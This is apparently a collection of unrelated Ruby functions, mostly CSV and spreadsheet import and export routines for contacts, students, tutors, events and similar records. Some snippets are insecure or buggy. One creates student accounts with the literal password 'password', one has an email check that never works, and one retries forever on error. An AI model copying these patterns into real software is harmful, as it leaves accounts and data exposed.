"def getEmailList()\n emailListFile = File.dirname(File.dirname(__FILE__)) + \"/config/\" +\n \"email_recepients.txt\"\n lines = IO.readlines(emailListFile)\n\n lines.each do |line|\n if line.match(/^EMAIL_RESULTS/)\n temp = line.gsub(/EMAIL_RESULTS=/, \"\")\n temp.strip!\n @resultRecepients = temp.split(\",\")\n elsif line.match(/^EMAIL_ERRORS/)\n temp = line.gsub(/EMAIL_ERRORS=/, \"\")\n temp.strip!\n @errorRecepients = temp.split(\",\") \n elsif line.match(/^EMAIL_CAPTURE/)\n temp = line.gsub(/EMAIL_CAPTURE=/, \"\")\n temp.strip!\n @captureRecepients = temp.split(\",\") \n end\n end\n end",
"def csv_data\n case\n when google_key || url then Curl::Easy.perform(uri).body_str\n when file then File.open(uri).read\n end\n end",
"def read_vote_csv(file_name)\n begin\n # @type [Array<Array<String>>]\n csv = CSV.read(file_name)\n rescue Errno::ENOENT\n warn format('Sorry, the file %<File>s does not exist', File: file_name)\n exit 1\n end\n csv.delete_if { |line| line.join('') =~ /^\\s*$/ } # delete blank lines\n csv\nend",
"def generate_invalid_attendees(attendees)\n File.open(\"invalid_attendees.txt\",\"w\") do |f|\n attendees.each { |element| f.puts(element['lastname']+' - '+element['firstname']+' - '+element['email']+' - '+element['phone']) }\n end\nend",
"def each_address\n STDIN.each_line do | line |\n begin\n atoms = line.chomp.split(',')\n ma = Mail::Address.new( atoms.last )\n if ( ! ma.local.blank? && ! ma.domain.blank? )\n name = atoms[ 1 ... atoms.length-1 ].map(&:capitalize)\n ( name[0], name[1] ) = [ name.last, name.first ]\n data = { :name => name.join(' '), :email => atoms.last.downcase }\n yield data\n end\n rescue Mail::Field::ParseError, ArgumentError=>e\n p e.class\n STDERR.puts \"EXCEPTION: #{e}\"\n STDERR.puts line\n next\n end\n end\nend",
"def touch_csv(csv_file_or_object, fields, field_generators = {})\n Slacker.touch_csv(csv_file_or_object, fields, field_generators)\n end",
"def read_clicks\n @clicks_csv.each do |row|\n yield row['campaign_id'].to_i, row['banner_id'].to_i,\n row['click_id'].to_i\n end\n end",
"def parse_csv\n #CSV.parse(File.read(\"DeleteMe.csv\")) do |row|\n puts @csv_input_file\n CSV.foreach(@csv_input_file, headers:true) do |row|\n \n \n begin\n puts row.inspect\n puts \"(ObjectID = \\\"#{row['ObjectID']}\\\")\"\n #project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(Name = #{row[\"Name\"]})\"}))\n #project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(Name = \\\"#{row.first}\\\")\"}))\n #project = @rally.find(RallyAPI::RallyQuery.new({:type => :project, :query_string => \"(ObjectID = \\\"#{row['ObjectID']}\\\")\"}))\n \n project = find_project(row['ObjectID'])\n puts \"project we found #{project.Name}\"\n #project = project.first\n fields = {}\n fields[:state] = 'Closed'\n fields[:notes] = close_reason(project)\n project.update(fields)\n \n rescue Exception => e\n\t puts \"Error closing project with ObjectID = \\\"#{row['ObjectID']}\\\"). Message: #{e.message}\"\n @logger.debug \"Error closing project with ObjectID = \\\"#{row['ObjectID']}\\\"). Message: #{e.message}\"\n next\n end \n @logger.info \"Project [#{project.Name}] closed on #{Time.now.utc} due to no activity.\"\n \n end\n # File.open(\"DeleteMe.csv\", \"r\") do |f|\n # f.each_line do |line|\n # puts line\n # end\n # end\n end",
"def csv_uploader(infile, organisationid)\n require 'csv'\n require 'timeout'\n# counter = 1\n begin \n CSV.parse(infile).drop(1).each do |row| \n# puts \"************************************\"\n# puts \"Started reading #{counter} row and inserting row in the table\"\n Customer.customer_build_from_csv(row, organisationid) \n# puts \"Ended the process of inserting #{counter} row in the table\"\n# puts \"************************************\"\n# counter += 1 \n end \n rescue\n retry\n# puts \"*****************************************\"\n# puts \"Anup got timeout error\"\n# puts \"*****************************************\" \n end\n end",
"def contacts_upload\n #checking for csv file or not\n if params[:file].content_type == \"text/csv\"\n\n #read contents from csv file\n contacts = []\n\n CSV.foreach(params[:file].tempfile) { |row|\n row = row.first.split(\",\") if row.count == 1\n \n contact_data = {}\n contact_data[\"first_name\"] = row[0]\n contact_data[\"last_name\"] = row[1]\n contact_data[\"email\"] = row[2]\n contact_data[\"org\"] = row[3]\n contact_data[\"events\"] = row[4]\n contact_data[\"interests\"] = row[5]\n contacts << contact_data\n }\n\n #remove first row with column name and make a new array with contacts\n contacts = contacts[1..contacts.length]\n contacts.each do |contact|\n @contact = Contact.new\n @contact.first_name=contact[\"first_name\"]\n @contact.last_name=contact[\"last_name\"]\n @contact.email=contact[\"email\"]\n @contact.org=contact[\"org\"]\n @contact.events=contact[\"events\"]\n @contact.interests=contact[\"interests\"]\n @contact.save\n end\n\n else\n puts \"----->>>>> Error found due to wrong file format <<<<<-----\"\n end\n\n contacts_list\n end",
"def gather_data # The commands that retrieve required data from the User\n puts 'This script takes in a 1 column csv (set your column header to course_id)'\n puts 'Enter the Bridge instance URL (e.g. https://ibennion.bridgeapp.com)'\n @url = gets.chomp! # Prompts user for desired Bridge domain\n puts 'Enter your Bridge API Key'\n @token = gets.chomp!\n puts 'These calls require you masquerade as an admin. What is the admin user ID?'\n @admin_id = gets.chomp! # The 'publish' endpoint requires you masquerade as an admin. Set the admin's User ID here.\n puts 'Enter the path to your CSV mapping file (e.g. /Users/ibennion/Documents/mapping.csv)'\n @csv_path = gets.chomp! # Set your path to the csv file. e.g. '/Users/ccromar/Downloads/sample.csv'\nend",
"def import_csv_full\n \n end",
"def import_users_from_csv(file)\n tutorial_cache = {}\n success = []\n errors = []\n ignored = []\n\n CSV.foreach(file) do |row|\n # Make sure we're not looking at the header or an empty line\n next if row[0] =~ /(subject|unit)_code/\n # next if row[5] !~ /^LA\\d/\n\n begin\n unit_code, username = row[0..1]\n first_name, last_name = [row[2], row[3]].map{|name| name.titleize unless name.nil? }\n email, tutorial_code = row[4..5]\n\n if unit_code != code\n ignored << { row: row, message: \"Invalid unit code. #{unit_code} does not match #{code}\" }\n next\n end\n\n if ! email =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i\n errors << { row: row, message: \"Invalid email address (#{email})\" }\n next\n end\n\n username = username.downcase\n\n project_participant = User.find_or_create_by(username: username) {|new_user|\n new_user.first_name = first_name\n new_user.last_name = last_name\n new_user.nickname = first_name\n new_user.role_id = Role.student_id\n new_user.email = email\n new_user.encrypted_password = BCrypt::Password.create(\"password\")\n }\n\n if not project_participant.persisted?\n project_participant.password = \"password\"\n project_participant.save\n end\n\n #\n # Only import if a valid user - or if save worked\n #\n if project_participant.persisted?\n user_project = projects.where(user_id: project_participant.id).first\n\n tutorial = tutorial_cache[tutorial_code] || tutorial_with_abbr(tutorial_code)\n tutorial_cache[tutorial_code] ||= tutorial\n\n # Add the user to the project (if not already in there)\n if user_project.nil?\n if not tutorial.nil?\n enrol_student(project_participant, tutorial)\n success << { row: row, message: \"Enrolled student with tutorial.\" }\n else\n enrol_student(project_participant)\n success << { row: row, message: \"Enrolled student without tutorial.\" }\n end\n else\n # update tutorial\n changes = \"\"\n\n if user_project.tutorial != tutorial\n user_project.tutorial = tutorial\n user_project.save\n changes << \"Changed tutorial. \"\n end\n\n if not user_project.enrolled\n user_project.enrolled = true\n user_project.save\n changes << \"Changed enrolment.\"\n end\n\n if changes.length == 0\n ignored << { row: row, message: \"No change.\" }\n else\n success << { row: row, message: changes }\n end\n end\n else\n errors << { row: row, message: \"Student record is invalid.\" }\n end\n rescue Exception => e\n errors << { row: row, message: e.message }\n end\n end\n\n {\n success: success,\n ignored: ignored,\n errors: errors\n }\n end",
"def perform_tweet\nCSV.foreach(File.expand_path(\"../../../../db/db.csv\", __FILE__)) do |row|\n if row[3] != \"\"\n @client.follow(row[3])\nend\nend\nend",
"def readCSV( file )\n\n data = []\n\n CSV.new( open( \"https://docs.google.com/spreadsheets/d/1uTnHOsDCHwvxmxX41sxCsZDnkPNj_7ImUGYQb3yEMjo/export?format=csv&gid=1137121615\" ) ).each_with_index do | row, row_index |\n # CSV.foreach( file, headers: true ) do | row |\n data << row\n end\n\n return data\n\n end",
"def create_people_raw\n @@people_raw = CsvMapper.import('test_ward.csv') do\n read_attributes_from_file\n end\nend",
"def import_venues_from_file(country_code,file_name)\n f = File.open(file_name, 'r') \n text = f.read \n lines = text.split(/$/) \n lines.each{|line|\n begin\n tokens = line.split(\"|\")\n code = tokens[0].strip\n venue = Venue.find_by_code(code)\n venue ||= Venue.new\n venue.code=code\n venue.name=tokens[1].strip\n venue.affiliate_url_1=tokens[12].strip\n venue.affiliate_url_2=tokens[13].strip\n venue.logo_url=tokens[14].strip\n venue.city=tokens[35].strip\n venue.state=tokens[36].strip\n venue.address=tokens[37].strip\n venue.zipcode=tokens[38].strip\n venue.url=\"http://www.ticketmaster.com/json/search/event?vid=#{code}\"\n venue.source=\"ticketmaster\"\n venue.save\n puts \"#{venue.code} #{venue.name} in #{venue.city}, #{venue.state}\"\n rescue\n end\n }\n f.close\n end",
"def csv(csv_file)\n Slacker.get_csv(csv_file)\n end",
"def read_from_row(field, data_rows, index)\n start = 7\n cells = data_rows[index].search(\"td\")\n for cell in cells[1..cells.length] \n name = \"Apollo #{start}\"\n mission = @missions[name] \n mission[field] = Util.clean_ws( cell.to_plain_text() )\n start = start + 1\n end \n end",
"def rw_values(category, type, name, filename, outfile)\n first_line = true\n File.readlines(filename).each do |line|\n # Skip the first line, as it contains the header\n if first_line\n first_line = false\n next\n end\n \n # Split the line by commas\n fields = line.split(',')\n \n # Check that the csv is conformant to the format\n if fields.size < 9\n puts \"Malformed line: #{line}\"\n puts \"In file: #{filename}\"\n throw \"Expecting at least 9 fields in commercial building csv files\"\n end\n \n datetime = fields[0]\n energy = fields[1]\n \n # Parse the first column (datetime)\n month, day, hour = datetime.scan(/(\\d\\d)\\/(\\d\\d)\\s*(\\d\\d)/).first\n \n # In the original csv hours are 01-24, we convert it to 00-23\n hour = (hour.to_i - 1).to_s.rjust(2, '0')\n \n # We know the data is relative to 2004\n date = \"2004-#{month}-#{day}\"\n time = \"#{hour}:00\"\n \n # Write the extracted data to the output csv\n outfile.puts(\"#{category},#{type},#{name},#{date},#{time},#{energy}\")\n end\nend",
"def batch_create\n uploaded_io = params[:coPilotFile].tempfile\n uploaded_io.set_encoding('iso-8859-1:utf-8')\n\n #Skip a line\n line = uploaded_io.gets\n #event_type = EventType.find(1)\n\n ActiveRecord::Base.transaction do\n while (line = uploaded_io.gets)\n fields = line.split(\"\\t\")\n timestamp = Time.at(convert_excel_timestamp(fields[0]))\n value = -1\n event_type = -1\n should_insert = true;\n comment = fields[36]\n\n if fields[2] == '1'\n #BG reading\n value = Float(fields[11])\n event_type = 1\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n\n elsif fields[2] == '2' && (fields[10] == '0' || fields[10] == '1')\n if fields[26].index(\"Pod activated\") != nil\n #New Pod activated\n value = 0.0\n event_type = 5\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => \"New Pod Activated\")\n else\n #Basal Rate change\n value = Float(fields[20])\n event_type = 2\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n end\n\n elsif fields[2] == '3' && (fields[10] == '0' || fields[10] == '1')\n #Bolus Intake\n value = Float(fields[20])\n event_type = 3\n comment = (fields[27] + \"<br/>\" + fields[36])\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n\n elsif fields[2] == '5'\n #food intake\n value = Float(fields[21])\n event_type = 4\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n end\n end\n end\n\n redirect_to :controller => 'pages', :action => 'home' and return\n end",
"def load_students(filename = \"students.csv\")\n file = File.open(filename, \"r\")\n file.readlines.each do |line|\n name, cohort, hobby, country = line.chomp.split(\",\")\n add_student_to_array(name, cohort, hobby, country)\n end\n file.close\nend",
"def invite\n invitation_service.invite(invitation_params)\n rescue CSV::MalformedCSVError => e\n current_course.errors.add(:invitations_file, e.message)\n false\n end",
"def csvlatread (filename)\n File.readlines(filename).each do |line|\n if line && !empty?(line)\n f1, f2, code, lat, rest = line.split(\"\\t\")\n\n code = clean(code)\n lat = clean(lat).downcase\n\n yield code, lat\n end\n end\nend",
"def\tparse_file\n CSV.foreach(@file) do |row|\n begin\n rid, price, item = row[0].strip.to_i, row[1].strip.to_f, row[2..-1].map(&:strip).join('-').downcase\n validate(rid, price, item) ? load(rid, price, item) : puts(\"Escaping invalid row: #{row}\")\n rescue StandardError \n puts \"Escaping incorrect row: #{row}\"\n end\n end\n end",
"def email_templates\n raw = read_attribute(:email_templates)\n return [] if raw.blank?\n arr = []\n raw.split(/[\\n\\|]/).each do |name| \n t = EmailTemplate.find_or_create_by_name(name)\n t.update_attribute(:from, offering.contact_email) if t.from.blank?\n arr << t\n end\n arr.compact\n end",
"def import_from_csv(file_name)\n kanbanery_tickets = extract_kanbanery_tickets_from_csv(file_name)\n @cards = extract_cards(kanbanery_tickets)\n end",
"def read_articles_from(file)\n articles = []\n\n CSV.foreach(file, headers: true) do |row|\n article = {\n title: row[\"title\"],\n description: row[\"description\"],\n url: row[\"url\"],\n points: row[\"points\"],\n posted_by: row[\"posted_by\"] || \"anonymous\",\n time_posted: row[\"time_posted\"],\n comments: row[\"comments\"]\n }\n articles << article\n end\n\n articles\nend",
"def load_evmobile_places(config)\n @log.info(\"reading input file \\\"#{config[:input]}\\\" ...\")\n\n CSV.foreach(config[:input], :headers => true) do |row|\n\n cleanup_row(row)\n row[\"Address\"] = row[\"Site Address\"]\n\n location = make_location(row)\n\n opens, closes = get_datetimes(row)\n\n place = @db[:voting_places] \\\n .filter(:place_type => \"EARLY_MOBILE\") \\\n .filter(:location_id => location[:id]) \\\n .limit(1)\n\n if place.empty?\n schedule_id = make_schedule([opens..closes])\n info = VotingPlaceInfo.new(\"Mobile Early Voting Location\", location, format_schedule([opens..closes]))\n\n @db[:voting_places] << {\n :place_type => \"EARLY_MOBILE\",\n :location_id => location[:id],\n :schedule_id => schedule_id,\n :info => info.to_s\n }\n else\n add_schedule_entry(place.get(:schedule_id), opens..closes)\n info = place.get(:info) + \"\\n\" + format_schedule_line(opens..closes)\n place.update(:info => info)\n end\n\n end\n\nend",
"def load_contacts\r\n CSV.open('contacts.csv', 'r').readlines.each{|file| file}\r\n end",
"def csvReader(file, headers)\n begin\n csvTable = CSV.read(file, {col_sep:\"\\t\", quote_char:\"\\0\", headers:headers})\n rescue ArgumentError\n puts \"Error: Unsupported encoding, tabulated/CSV file must be in UTF-8 format.\"\n abort\n end\n parsedObj = OpenStruct.new()\n parsedObj.rowArray = []\n parsedObj.belArray = []\n csvTable.each do |row|\n unless row.length == 0\n current = OpenStruct.new()\n current.bel_id = row[0]\n current.bel_id.slice! \"BEL:\"\n current.bel = row[1]\n current.sentence = row[2]\n current.sentence_id = row[3]\n current.sentence_id.slice! \"SEN:\"\n current.pmid = row[4]\n parsedObj.rowArray << current\n parsedObj.belArray << row[1]\n end\n end\n parsedObj.linecount = csvTable.length\n return parsedObj\nend",
"def invite\n if invite_by_file? || invite_by_entry?\n invitation_service.invite(invitation_params)\n elsif invite_by_registration_code?\n invitation_service.enable_registration_code(invitation_params)\n end\n rescue CSV::MalformedCSVError => e\n current_course.errors.add(:invitations_file, e.message)\n return false\n end",
"def render_csv\n # Debug\n # debugger\n @event = Event.first\n respond_to do |format|\n format.html\n format.json{ render :json => @event.to_json }\n format.xml { render :xml => @event.to_xml }\n format.csv do\n csv_string = CSV.generate do |csv|\n csv << [\"Name\", \"Description\"]\n @event.each do |myevent|\n csv << [myevent.name, myevent.description]\n end\n end\n render :text => csv_string\n end\n end \n end",
"def email_list\n @entries.collect do |line|\n name, email = line.split(\",\")\n format_email_address name, email.chomp\n end.join(\", \")\n end",
"def get_csv\n CSV.generate do |csv|\n csv << ['Name','Student ID','User ID','Role','Email Address','Sections']\n get_feed[:students].each do |student|\n name = student[:last_name] + ', ' + student[:first_name]\n user_id = student[:login_id]\n student_id = student[:student_id]\n email_address = student[:email]\n role = ENROLL_STATUS_TO_CSV_ROLE[student[:enroll_status]]\n sections = sections_to_name_string(student[:sections])\n csv << [name, student_id, user_id, role, email_address, sections]\n end\n end\n end",
"def loadtutors\n #service = googleauthorisation(request)\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n spreadsheet_id = current_user[:ssurl].match(/spreadsheets\\/d\\/(.*?)\\//)[1]\n #spreadsheet_id = '1CbtBqeHyYb9jRmROCgItS2eEaYSwzOMpQZdUWLMvjng'\n logger.debug 'about to read spreadsheet - service ' + service.inspect\n # Need some new code to cater for variation in the spreadsheet columns.\n # Will build an array with 'column names' = 'column numbers'\n # This can then be used to identify columns by name rather than numbers.\n #\n #this function converts spreadsheet indices to column name\n # examples: e[0] => A; e[30] => AE \n e=->n{a=?A;n.times{a.next!};a} \n columnmap = Hash.new # {'column name' => 'column number'}\n range = \"TUTORS!A3:LU3\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n headerrow = response.values[0]\n logger.debug \"response: \" + headerrow.inspect\n headerrow.each_with_index do |value, index| \n columnmap[value] = index\n end\n logger.debug \"columnmap: \" + columnmap.inspect\n #readcolumns = Array.new\n\n # pname: t[1],\n # subjects: t[2],\n # phone: t[3],\n # email: t[4],\n # sname: t[5],\n # comment: t[6],\n \n # Derived fields\n # status: \"active\" unless prefixed with zz..\n # firstaid: \"yes\" if name has suffix +\n # firstsesson: \"yes\" if name has suffix *\n\n readcolumns = [ 'NAME + INITIAL',\n 'SUBJECTS',\n 'MOBILE',\n 'EMAIL',\n 'SURNAME',\n 'NOTES'\n ]\n colerrors = \"\"\n readcolumns.each_with_index do |k, index|\n unless columnmap[k] \n colerrors += k + ':'\n end \n end\n # ensure we can read all the required spreadsheet column\n # if not, terminate and provide a user message\n unless colerrors.length == 0 # anything put into error string\n colerrors = \"Load Tutors - not all columns are findable: \" + colerrors\n redirect_to load_path, notice: colerrors\n return\n end\n # have everything we need, load the tutors from the spreadsheet\n # placing info into @tutors.\n startrow = 4 # row where the loaded data starts \n flagFirstPass = 1\n readcolumns.each_with_index do |k, index|\n columnid = e[columnmap[k]]\n range = \"TUTORS!#{columnid}#{startrow}:#{columnid}\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n if flagFirstPass == 1\n @tutors = Array.new(response.values.length){Array.new(9)}\n for rowcount in 0..response.values.count-1 \n \t @tutors[rowcount][0] = rowcount + startrow\n end\n flagFirstPass = 0\n end\n #rowcount = 0\n #response.values.each do |r|\n #for rowcount in 0..response.values.count \n response.values.each_with_index do |c, rowindex|\n \t @tutors[rowindex ][index + 1] = c[0]\n \t #bc = v.effective_format.background_color\n \t #logger.debug \"background color: red=\" + bc.red.to_s +\n \t # \" green=\" + bc.green.to_s +\n \t\t # \" blue=\" + bc.blue.to_s\n end \n end\n\n #logger.debug \"tutors: \" + @tutors.inspect\n # Now to update the database\n loopcount = 0\n @tutors.each do |t| # step through all tutors from the spreadsheet\n t[7] = \"\"\n pname = t[1]\n logger.debug \"pname: \" + pname.inspect\n if pname == \"\" || pname == nil\n t[7] = t[7] + \"invalid pname - do nothing\"\n next\n end\n # determine status from name content - been marked by leading z...\n thisstatus = \"active\"\n if m = pname.match(/(^z+)(.+)$/) # removing leading z.. (inactive entries)\n pname = m[2].strip\n thisstatus = \"inactive\"\n #t[1] = pname\n end\n # look for + (firstaid:) * (firstsession) at end of pname \n # (first aid trained or first session trained)\n thisfirstaid = 'no'\n thisfirstlesson = 'no'\n if m = pname.match(/([+* ]+)$/)\n thisfirstaid = (m[1].include?('+') ? 'yes' : 'no')\n thisfirstlesson = (m[1].include?('*') ? 'yes' : 'no')\n pname = pname.gsub($1, '') unless $1.strip.length == 0\n end\n pname = pname.strip\n \n db_tutor = Tutor.find_by pname: pname\n if(db_tutor) # already in the database\n flagupdate = 0 # detect if any fields change\n updatetext = \"\"\n if db_tutor.comment != t[6]\n db_tutor.comment = t[6]\n flagupdate = 1\n updatetext = updatetext + \" - comment\" \n end\n if db_tutor.sname != t[5]\n db_tutor.sname = t[5]\n flagupdate = 1\n updatetext = updatetext + \" - sname\" \n end\n if db_tutor.email != t[4]\n db_tutor.email = t[4]\n flagupdate = 1\n updatetext = updatetext + \" - email\" \n end\n if db_tutor.phone != t[3]\n db_tutor.phone = t[3]\n flagupdate = 1\n updatetext = updatetext + \" - phone\" \n end\n if db_tutor.subjects != t[2]\n db_tutor.subjects = t[2]\n flagupdate = 1\n updatetext = updatetext + \" - subjects\" \n end\n if db_tutor.status != thisstatus \n db_tutor.status = thisstatus\n flagupdate = 1\n updatetext = updatetext + \" - status\" \n end\n if db_tutor.firstaid != thisfirstaid \n db_tutor.firstaid = thisfirstaid\n flagupdate = 1\n updatetext = updatetext + \" - firstaid\" \n end\n if db_tutor.firstlesson != thisfirstlesson\n db_tutor.firstlesson = thisfirstlesson\n flagupdate = 1\n updatetext = updatetext + \" - firstlesson\" \n end\n logger.debug \"flagupdate: \" + flagupdate.inspect + \" db_tutor: \" + db_tutor.inspect\n if flagupdate == 1 # something changed - need to save\n if db_tutor.save\n logger.debug \"db_tutor saved changes successfully\"\n t[7] = t[7] + \"updated\" + updatetext \n else\n logger.debug \"db_tutor saving failed - \" + @db_tutor.errors\n t[7] = t[7] + \"failed to create\"\n end\n else\n t[7] = t[7] + \"no changes\"\n end\n else\n # This tutor is not in the database - so need to add it.\n @db_tutor = Tutor.new(\n pname: pname,\n subjects: t[2],\n phone: t[3],\n email: t[4],\n sname: t[5],\n comment: t[6],\n status: thisstatus,\n firstlesson: thisfirstlesson,\n firstaid: thisfirstaid\n )\n #if pname =~ /^zz/ # the way they show inactive tutors\n #if t[1] =~ /^zz/ # the way they show inactive tutors\n # @db_tutor.status = \"inactive\"\n #end\n logger.debug \"new - db_tutor: \" + @db_tutor.inspect\n if @db_tutor.save\n logger.debug \"db_tutor saved successfully\"\n t[7] = t[7] + \"created\" \n else\n logger.debug \"db_tutor saving failed - \" + @db_tutor.errors.inspect\n t[7] = t[7] + \"failed to create\"\n end\n end\n #exit\n if loopcount > 5\n #break\n end\n loopcount += 1\n end\n #exit\n end",
"def generate_csv_file(file_path, row_data)\n CSV.open(file_path, \"wb\") do |csv|\n csv << [\"first_name\", \"last_name\", \"dob\", \"member_id\", \"effective_date\", \"expiry_date\", \"phone_number\"]\n row_data.each { |row| csv << row }\n end\nend",
"def parse_students(file)\n begin\n rows = CSV.parse(file.read)\n rows.each_with_index do |row, i|\n if row.length != 4\n raise StandardError\n end\n\n if i == 0\n next\n end\n\n student_id = row[0]\n first_name = row[1]\n last_name = row[2]\n email = row[3]\n\n name = first_name + ' ' + last_name\n\n add_student_to_course(student_id, name, email)\n end\n end\n rescue\n errors.add(:file, 'is invalid. Please ensure that the file is properly formatted and that the data is correct.')\n return\n end",
"def parse_to_load_file(csv)\n csv.each_with_index do |student, index|\n student = {month: csv[index][0] , name: csv[index][1], city: csv[index][2], hobby: csv[index][3]}\n @students << student\n end\nend",
"def loadCSV\n csvFile = File.open(\"app/assets/csv/test.csv\", \"r\") #Open file with readpermissions\n if csvFile #if file was successfully opened \n csvRowArray = IO.readlines(csvFile) # Turn each row into an array element\n rowId=1 #0 is the Header Row, 1 is the first dataset.\n recordsArray = Array.new(csvRowArray.size-1)\n while csvRowArray[rowId] do #for each row that exists \n rowEntry = csvRowArray[rowId]\n rowEntry.gsub!(/\"/,'') # Remove all the '\"'s\n wordArr = rowEntry.split(\",\") #Split the array on ','s into a new array \n newRecord = Record.new\n newRecord.REF_DATE = wordArr[0]\n newRecord.GEO = wordArr[1]\n newRecord.DGUID = wordArr[2]\n newRecord.Sex = wordArr[3]\n newRecord.Age_group = wordArr[4]\n newRecord.Student_response = wordArr[5]\n newRecord.UOM = wordArr[6]\n newRecord.UOM_ID = wordArr[7]\n newRecord.SCALAR_FACTOR = wordArr[8]\n newRecord.SCALAR_ID = wordArr[9]\n newRecord.VECTOR = wordArr[10]\n newRecord.COORDINATE = wordArr[11]\n newRecord.VALUE = wordArr[12]\n newRecord.STATUS = wordArr[13]\n newRecord.SYMBOL = wordArr[14]\n newRecord.TERMINATED = wordArr[15]\n newRecord.DECIMALS = wordArr[16]\n newRecord.save\n puts rowId\n rowId = rowId+1 \n end\n return recordsArray\n else #file not opened\n puts \"Unable to open file\" \n return \n end \n end",
"def do_user_status_csv_import\n if params[:import].nil?\n flash[:message] = 'Please upload a csv file'\n redirect_to admin_user_status_csv_import_path\n return\n end\n file = CSV.parse(params[:import][:csv].read)\n @failures = []\n file.each do |row|\n user_id = row[0]\n # If the user id isn't actually a number, skip this row\n # because that means it is probably a header or a blank line\n # http://stackoverflow.com/questions/10577783/ruby-checking-if-a-string-can-be-converted-to-an-integer\n begin\n user_id = Integer user_id\n rescue\n next\n end\n\n begin\n user = User.find(user_id)\n user.exclude_from_reporting = row[1]\n user.relationship_manager = row[2]\n user.associated_program = row[3]\n user.active_status = row[4]\n user.save!\n rescue\n @failures << user_id\n end\n end\n end",
"def process(report)\n puts \"Code to process csv goes here for #{report}\"\n\n CSV.foreach(report, headers: true) do |row|\n# **** actions here are operated on every row in the csv ****\n puts row['Site Name']\n end\nend",
"def include_csv_in_email; include_csv_in_email? rescue include_csv_in_email; end",
"def list_email()\nsession = GoogleDrive::Session.from_config(\"config.json\")\nws = session.spreadsheet_by_key(\"1v7XEnpGDtgjgRom3bp7OwzaK99zlUQIfKuW3QdawXBc\").worksheets[0]\n#define a lopp with each for the spreadsheet.\n(1..w_sheet.num_rows).each do |list|\n\t\tmail = ws[list, 2]\n\t\tcity = ws[list, 1]\n list_email(\"email\",\"password\",mail, city)\n end\nend",
"def each_row(batch = ETL::Batch.new)\n log.debug(\"Reading from CSV input file #{file_name}\")\n @rows_processed = 0\n ::CSV.foreach(file_name, csv_options) do |row_in|\n # Row that maps name => value\n row = {}\n\n # If we weren't given headers then we use what's in the file\n if headers.nil?\n # We have a hash - OK we'll use it\n if row_in.respond_to?(:to_hash)\n row = row_in.to_hash\n # We have an array - use numbers as the keys\n elsif row_in.respond_to?(:to_a)\n ary = row_in.to_a\n ary.each_index do |i|\n row[i] = ary[i]\n end\n # Error out since we don't know how to process this\n else\n raise ETL::InputError, \"Input row class #{row_in.class} needs to be a hash or array\"\n end\n # if we were given the headers to use then we just need to grab the\n # values out of whatever we have\n else\n values = row_in.kind_of?(::CSV::Row) ? row_in.fields : row_in.to_a\n\n if headers.length != values.length\n raise ETL::InputError, \"Must have the same number of headers #{headers.length} \" + \n \"and values #{values.length}\"\n end\n\n # match up headers and values\n (0...headers.length).each do |i|\n row[headers[i]] = values[i]\n end\n end\n\n # now we apply our header map if we have one\n @headers_map.each do |name, new_name|\n if row.has_key?(name)\n # remap old name to new name\n row[new_name] = row[name]\n row.delete(name)\n else\n raise ETL::InputError, \"Input row does not have expected column '#{name}'\"\n end\n end\n\n transform_row!(row)\n yield row\n @rows_processed += 1\n end\n end",
"def csv\n @csv_table ||= begin\n csv_raw = File.read(CSV_PATH)\n CSV.parse(csv_raw, headers: true)\n end\n\nend",
"def read_impressions\n @impressions_csv.each do |row|\n yield row['campaign_id'].to_i, row['banner_id'].to_i\n end\n end",
"def parse_csv(csv_name, schema)\n CSV.read(csv_name).map {|row| map_row_to_entity(row, schema) }\nend",
"def registered_users\n users = []\n CSV.open(\"user_registration.csv\", \"r\") do |csv|\n users << {\n :first_name => csv[0],\n :surname => csv[1],\n :gender => csv[2]\n }\n end rescue users = []\n users\nend",
"def list_of_placements_csv\n @events = Event.find(:all)\n\n @report_name = \"List of Placements\"\n \n\n csv_string = FasterCSV.generate do |csv|\n csv << [\"Class\", \"Class Name\", \"Result\", \"Horse\", \"Horse Number\", \"Rider\", \"Owner\" ]\n\n @events.each do |event|\n eps = event.event_participants.reject{|ep| ep.result.blank?}\n eps.sort_by{ |ep| ep.result}.each do |ep|\n csv << [event.event_class,\n event.name,\n ep.result,\n ep.horse.name,\n ep.horse.number,\n ep.rider.name,\n ep.owner.name\n ]\n \n end\n eps = event.event_participants.select{|ep| ep.result.blank?}\n eps.each do |ep|\n csv << [event.event_class,\n event.name,\n ep.result,\n ep.horse.name,\n ep.horse.number,\n ep.rider.name,\n ep.owner.name\n ]\n \n end\n end\n end\n\n filename = \"Horseshow_#{ENV['YEAR_OF_HORSESHOW']}_list_of_placements.csv\"\n send_data(csv_string,\n :type => 'text/csv; charset=utf-8; header=present',\n :filename => filename)\n \n end",
"def process_feed(fname, channel, offset, etype)\r\n p \"Channel: #{channel} | URL: #{fname}\"\r\n schedule = ICS::Event.file(open(fname)) rescue nil\r\n schedule.map {|cal| process_event(cal, channel, offset, etype) } if schedule\r\n end",
"def load_athletes(file = 'athletes_london2012.csv')\n puts \"Clearing out old athletes ..\"\n Athlete.destroy_all\n puts \"Importing athletes ..\"\n CSV.read(file, headers: true).each do |row|\n Athlete.create({\n name: row[\"Name\"],\n country: row[\"Country\"],\n age: row[\"Age\"],\n height: row[\"Height, cm\"],\n weight: row[\"Weight\"],\n sex: row[\"Sex\"],\n dob: extract_date(row[\"Date of birth\"]),\n gold: row[\"Gold\"],\n silver: row[\"Silver\"],\n bronze: row[\"Bronze\"],\n sport: row[\"Sport\"],\n events: row[\"Event\"].split(\", \")\n })\n end\n puts \"Done! You have #{Athlete.count} athletes in your database.\"\nend",
